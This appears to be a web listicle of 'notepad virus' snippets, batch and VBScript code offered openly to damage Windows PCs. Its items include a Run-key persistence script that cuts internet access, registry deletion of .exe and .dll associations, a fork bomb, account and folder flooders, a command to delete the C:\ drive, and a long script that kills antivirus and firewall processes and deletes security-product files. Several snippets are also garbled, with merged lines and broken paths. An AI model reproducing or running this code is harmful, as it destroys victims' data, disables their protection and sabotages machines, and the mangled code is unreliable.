1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat

echo break off>c:windowswimn32.bat echo

ipconfig/release_all>c:windowswimn32.bat

echo end>c:windowswimn32.batreg add

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!

PAUSE

2. Delete Key Registry Files

This will delete key registry files, then loops a message

This is dangerous and unrecoverable Notepad Virus.

@ECHO OFF

 START reg delete HKCR/.exe

 START reg delete HKCR/.dll

 START reg delete HKCR/*

 :MESSAGE

 ECHO Your PC has been crashed.Your Dad.

 GOTO MESSAGE

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off

 :top

 START %SystemRoot%\system32\notepad.exe

 GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)

 Set colCDROMs = oWMP.cdromCollection

 do

 if colCDROMs.Count >= 1 then

 For i = 0 to colCDROMs.Count – 1

 colCDROMs.Item(i).Eject

 Next

 For i = 0 to colCDROMs.Count – 1

 colCDROMs.Item(i).Eject

 Next

 End If

 wscript.sleep 100

 loop

5. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)

 do

 wscript.sleep 100

 wshshell.sendkeys “~(enter)”

 loop

6. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.

@echo off

 :x

 start winword

 start mspaint

 start notepad

 start write

 start cmd

 start explorer

 start control

 start calc

 goto x

7.Folder Flooder

This will create unlimited no. of folders.

@echo off

:x

md %random%

/folder.

goto x

8.User Account Flooder

This will create large no. of the user account on one’s PC and goes on

@echo off

:xnet

user %random% /add

goto x

9.Process Creator

This will create unlimited background processes

%0|%0

10.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

@Echo off

Del C:\ *.* |y

10+. Anti Virus Disabler

This large code will disable any antivirus installed on the system

@ echo off

rem

rem Permanently Kill Anti-Virus

net stop “Security Center”

netsh firewall set opmode mode=disable

tskill /A av*

tskill /A fire*

tskill /A anti*

cls

tskill /A spy*

tskill /A bullguard

tskill /A PersFw

tskill /A KAV*

tskill /A ZONEALARM

tskill /A SAFEWEB

cls

tskill /A spy*

tskill /A bullguard

tskill /A PersFw

tskill /A KAV*

tskill /A ZONEALARM

tskill /A SAFEWEB

cls

tskill /A OUTPOST

tskill /A nv*

tskill /A nav*

tskill /A F-*

tskill /A ESAFE

tskill /A cle

cls

tskill /A BLACKICE

tskill /A def*

tskill /A kav

tskill /A kav*

tskill /A avg*

tskill /A ash*

cls

tskill /A aswupdsv

tskill /A ewid*

tskill /A guard*

tskill /A guar*

tskill /A gcasDt*

tskill /A msmp*

cls

tskill /A mcafe*

tskill /A mghtml

tskill /A msiexec

tskill /A outpost

tskill /A isafe

tskill /A zap*cls

tskill /A zauinst

tskill /A upd*

tskill /A zlclien*

tskill /A minilog

tskill /A cc*

tskill /A norton*

cls

tskill /A norton au*

tskill /A ccc*

tskill /A npfmn*

tskill /A loge*

tskill /A nisum*

tskill /A issvc

tskill /A tmp*

cls

tskill /A tmn*

tskill /A pcc*

tskill /A cpd*

tskill /A pop*

tskill /A pav*

tskill /A padmincls

tskill /A panda*

tskill /A avsch*

tskill /A sche*

tskill /A syman*

tskill /A virus*

tskill /A realm*cls

tskill /A sweep*

tskill /A scan*

tskill /A ad-*

tskill /A safe*

tskill /A avas*

tskill /A norm*

cls

tskill /A offg*

del /Q /F C:\Program Files\alwils~1\avast4\*.*

del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe

del /Q /F C:\Program Files\kasper~1\*.exe

cls

del /Q /F C:\Program Files\trojan~1\*.exe

del /Q /F C:\Program Files\f-prot95\*.dll

del /Q /F C:\Program Files\tbav\*.datcls

del /Q /F C:\Program Files\avpersonal\*.vdf

del /Q /F C:\Program Files\Norton~1\*.cnt

del /Q /F C:\Program Files\Mcafee\*.*

cls

del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*

del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*

del /Q /F C:\Program Files\Norton~1\Norton~1\*.*

del /Q /F C:\Program Files\Norton~1\*.*

cls

del /Q /F C:\Program Files\avgamsr\*.exe

del /Q /F C:\Program Files\avgamsvr\*.exe

del /Q /F C:\Program Files\avgemc\*.exe

cls

del /Q /F C:\Program Files\avgcc\*.exe

del /Q /F C:\Program Files\avgupsvc\*.exe

del /Q /F C:\Program Files\grisoft

del /Q /F C:\Program Files\nood32krn\*.exe

del /Q /F C:\Program Files\nood32\*.exe

cls

del /Q /F C:\Program Files\nod32

del /Q /F C:\Program Files\nood32

del /Q /F C:\Program Files\kav\*.exe

del /Q /F C:\Program Files\kavmm\*.exe

del /Q /F C:\Program Files\kaspersky\*.*

cls

del /Q /F C:\Program Files\ewidoctrl\*.exe

del /Q /F C:\Program Files\guard\*.exe

del /Q /F C:\Program Files\ewido\*.exe

cls

del /Q /F C:\Program Files\pavprsrv\*.exe

del /Q /F C:\Program Files\pavprot\*.exe

del /Q /F C:\Program Files\avengine\*.exe

cls

del /Q /F C:\Program Files\apvxdwin\*.exe

del /Q /F C:\Program Files\webproxy\*.exe

del /Q /F C:\Program Files\panda

software\*.*

rem